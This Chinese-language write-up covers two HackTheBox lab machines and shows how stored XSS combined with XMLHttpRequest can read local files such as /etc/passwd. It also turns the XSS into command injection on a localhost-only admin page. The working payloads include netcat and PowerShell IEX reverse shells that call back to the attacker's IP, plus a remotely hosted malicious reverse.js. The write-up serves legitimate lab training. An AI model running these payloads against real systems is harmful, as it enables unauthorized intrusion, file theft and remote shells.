**
XHR,也就是XMLHttpRequest,是现代浏览器都有的一个内置对象,使用 XMLHttpRequest对象可以与服务器交互。无需刷新整个页面即可从URL获取数据,允许网页在不影响用户的操作的情况下更新页面的局部内容,多应用于 AJAX 编程中。
特别注意的是XMLHttpRequest 可以用于获取任何类型的数据,而不仅仅是XML,它甚至支持 HTTP 以外的协议(包括 file:// 和 FTP)
**
适用于XSS打到后台管理员,以普通用户身份构造payload发送给管理员,登录后台触发payload并查看回显(也就是拿到cookie能够登录后台的情况)
以Hackthebox的book靶场为例:
情景描述:普通用户能够上传pdf文件,且能够自定义Title和Author,管理员能够下载用户上传的pdf;登录管理员发现Title字段插入的xss解析并显示在管理员能够看到的pdf标题中
验证:Title字段插入内容更改为
<script>document.write(Date());</script>
进一步利用:利用XHR读取本地文件
本来直接想到的是在浏览器本地同源的情况下file协议读取:<利用iframe的file协议>
<iframe src="file:///etc/passwd"></iframe>
没有回显
<script>document.write('<iframe src=file:///etc/passwd></iframe>')</script>
还是没有回显
姿势不够,直接使用iframe插入paylaod没有回显,但是说明了可以使用file协议,尝试使用XHR发送Ajax请求并利用File协议读取:
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
Tips:由于这里对Title内容没有字数限制,所以我直接插入完整paylaod,有字数限制的情况下可以写入js文件中,后面会讲到
同样的方法可以直接读取到该服务器的用户ssh私钥进行登录
这个条件比较苛刻,需要有命令执行,但是对执行者的IP进行验证,这里以HackTheBox的Bankrobber中的例子为例
情景描述:页面端有个backdoorchecker.php页面,能够执行dir命令(限制不严,很简单就绕过),但是只允许本地执行,直接看代码(通过SQL注入已读取到源码)
简易思路:现有XSS,尝试结合XMLHttpRequest借用本地账户进行操作:借用管理员身份打开backerdoorchecker.php绕过IP限制(即转换成SSRF),并构造payload绕过命令执行限制
漏洞利用:借助smb执行我们攻击机上的nc反弹shell (smb服务可以借助impacket套件中的smbserver.py快速搭建)
Payload:
<script> var x = new XMLHttpRequest(); x.open("POST", "backdoorchecker.php", true); x.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); x.send('cmd=dir xxx || \\\\10.10.16.21\\ica\\nc.exe -e cmd.exe 10.10.16.21 9999');</script>
'####nc -lvvp 9999 即可回弹shell
**
这里可以把payload写到js文件中,然后插入我们的js文件即可,关于如何编写XHR的js文件的链接会放到文末。
这里针对利用二,还有另外的利用方式,即通过powershell IEX下载脚本并反弹PowerShellTcp.ps1并反弹。既然提到了js文件的方式,就以这种方式构造payload:
XSS框直接插入:
<script src="http://10.10.16.21:8000/reverse.js"></script>
Reverse.js文件内容如下:
function paintfunc(){ var http = new XMLHttpRequest(); var url = 'http://localhost/admin/backdoorchecker.php'; var params = 'cmd=dir| powershell -c "iex (New-Object Net.WebClient).DownloadString(\'http://10.10.16.21:8000/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.21 -Port 9969"'; http.open('POST', url, true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.send(params); } paintfunc();
0x05、题后话
1)、关于XSS结合XHR还有更多利用,如不能登录后台的情况下添加管理员等
2)、关于iframe没有回显的问题:这是由于iframe是通过浏览器本地同源来进行加载文件的,即不能通过网络加载,我们简单做个测试:
创建iframe.html,写入如下语句
<iframe src="file:///F:/password.txt"></iframe>
直接在本地直接打开
放到网站目录下通过浏览器访问:
链接:
https://www.w3schools.com/xml/xml_http.asp
http://heartsky.info/2017/08/30/%E6%B5%85%E8%B0%88-XSS-%E5%8F%91%E9%80%81%E5%A4%96%E5%9F%9F%E8%AF%B7%E6%B1%82/
https://blog.0daylabs.com/2014/11/01/xss-ex-filtrating-data-xmlhttprequest-js-pentesters-task-15-write/